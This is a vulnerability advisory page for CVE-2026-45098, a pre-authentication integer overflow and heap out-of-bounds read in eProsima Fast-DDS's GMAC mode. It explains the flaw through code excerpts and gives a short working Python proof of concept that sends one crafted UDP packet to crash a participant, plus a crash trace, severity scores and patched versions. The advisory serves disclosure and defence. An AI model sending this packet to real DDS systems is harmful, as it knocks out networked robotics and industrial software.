CVE-2026-45098
NVD
Vulnerability Summary
Summary A single crafted 3.5KB UDP packet can crash any Fast-DDS participant running with DDS Security in GMAC (SIGN) mode. The attacker only needs to know the victim's UDP port and a valid participant's GUID prefix (obtainable from unencrypted SPDP discovery traffic). Details Vulnerable Code — body_length accumulation (`AESGCMGMAC_Transform.cpp`, lines 726-751): ```cpp // L700: body_length initialized to 0 uint32_t body_length = 0, body_align = 0; // L706: predeserialize_SecureDataBody sets initial body_length from uint16_t is_encrypted = predeserialize_SecureDataBody(decoder, body_length, body_align); // L715: first jump over body decoder.jump(body_length + body_align); // L726-751: GMAC mode (!is_encrypted) — loop accumulates body_length while (!is_encrypted && (id != SRTPS_POSTFIX)) { decoder >> flags; // ... decoder >> length; // attacker-controlled uint16_t body_length += body_align + 4; // L741: accumulate body_length += length; // L747: accumulate — OVERFLOW possible decoder.jump(length + body_align); decoder >> id; } ``` The while loop iterates over submessages until it finds `SRTPS_POSTFIX` (0x34). Each iteration adds `body_align + 4 + length` to `body_length`. Since both `body_length` and `length` are controlled by the attacker through the input buffer, the attacker can arrange values that cause `body_length` to wrap around `UINT32_MAX` (4,294,967,295). Vulnerable Code — OOB read via EVP_DecryptUpdate (`AESGCMGMAC_Transform.cpp`, lines 2003-2020): ```cpp // L2003: protected_len receives the overflowed body_length uint32_t protected_len = body_length; // L2004-2016: In GMAC mode, do_encryption is false, so this size check is SKIPPED if (do_encryption) { // ... size validation only for GCM mode, not GMAC } // L2018-2020: GMAC mode — output_buffer is nullptr (AAD mode) octet* output_buffer = do_encryption ? plain_buffer : nullptr; unsigned char* input_buffer = (unsigned char*)decoder.get_current_position(); if (!EVP_DecryptUpdate(d_ctx, nullptr, &actual_size, input_buffer, protected_len)) // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^ // AAD mode (output=nullptr) overflowed value ``` In GMAC mode: 1. `do_encryption` is `false`, so the size validation block (L2004-2016) is entirely skipped 2. `output_buffer` is set to `nullptr`, putting `EVP_DecryptUpdate` into AAD mode 3. `EVP_DecryptUpdate` reads `protected_len` bytes from `input_buffer` as Additional Authenticated Data 4. `protected_len` holds the overflowed value — potentially gigabytes beyond the actual buffer 5. OpenSSL's `CRYPTO_gcm128_aad()` attempts to read this data → heap OOB read → SIGSEGV Why this is pre-authentication (no keys needed): The attack flow reaches the vulnerable code before any cryptographic verification: ``` decode_rtps_message() 1. Parse SRTPS_PREFIX header ← attacker-controlled 2. compute_sessionkey() ← derives key (irrelevant) 3. predeserialize_SecureDataBody() ← sets GMAC mode 4. while loop: accumulate body_length ← OVERFLOW HERE 5. deserialize_SecureDataTag() ← parses tag 6. deserialize_SecureDataBody() ← OOB READ HERE 7. EVP_DecryptUpdate (AAD processing) ← CRASH HERE 8. EVP_CTRL_GCM_SET_TAG + EVP_DecryptFinal ← MAC check (never reached) ``` Steps 4-7 all execute before the MAC is verified at step 8. The attacker only needs to craft a valid SRTPS message structure — no valid encryption key or MAC is required PoC ```python import socket, struct guid = bytes.fromhex("REPLACE_WITH_SPDP_DISCOVERED_GUID") pkt = b"RTPS" + bytes([2, 3, 1, 0x0F]) + guid pkt += bytes([0x33, 0x01]) + struct.pack("<H", 20) pkt += bytes([0, 0, 0, 0xed]) + bytes([0xed] 16) pkt += bytes([0xed] 3448) pkt += bytes([0x34, 0x01]) + struct.pack("<H", 20) + bytes(20) socket.socket(socket.AF_INET, socket.SOCK_DGRAM).sendto(pkt, ("127.0.0.1", 7411)) ``` GUID prefix obtained from SPDP multicast (239.255.0.1:7400). No valid keys required. ``` AddressSanitizer: SEGV on unknown address 0x53100020001c (READ) #1 CRYPTO_gcm128_aad #5 EVP_DecryptUpdate #6 AESGCMGMAC_Transform::deserialize_SecureDataBody() -- AESGCMGMAC_Transform.cpp:2020 #8 SecurityManager::decode_rtps_message() -- SecurityManager.cpp:2448 #9 MessageReceiver::processCDRMsg() -- MessageReceiver.cpp:395 ``` Impact Heap Out-of-Bounds Read / Denial of Service (DoS): A remote unauthenticated attacker can crash any DDS Security participant by sending a single crafted UDP packet. - No authentication required: Triggers before MAC verification — no keys, certificates, or handshake needed. - Remote: Any host on the same network segment can send the packet. - Heap OOB Read: ~50MB read beyond a 3.5KB buffer. Primary impact is DoS (SIGSEGV), with potential for heap memory disclosure. - Affects all GMAC mode participants: GMAC is used when authentication is required without encryption overhead. ```
CVSS v3.1 Base Metrics — Score 8.2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:HAttack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityLow
IntegrityNone
AvailabilityHigh
Affected & Patched Versions
- eProsima/Fast-DDS <= 3.6.2
- eProsima/Fast-DDS 2.6.12, 2.14.7, 3.2.5, 3.6.3
What to do
Plan remediation soon. No exploitation is confirmed yet, but the severity is high.
- Check whether you run eProsima/Fast-DDS and which version.
- Update to a patched version listed above, then confirm the new version.
Timeline
- Nov 30, 2026Published
- Nov 30, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new eProsima/Fast-DDS CVEsYou are reading CVE-2026-45098. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Nov 30, 2026 10:34 UTC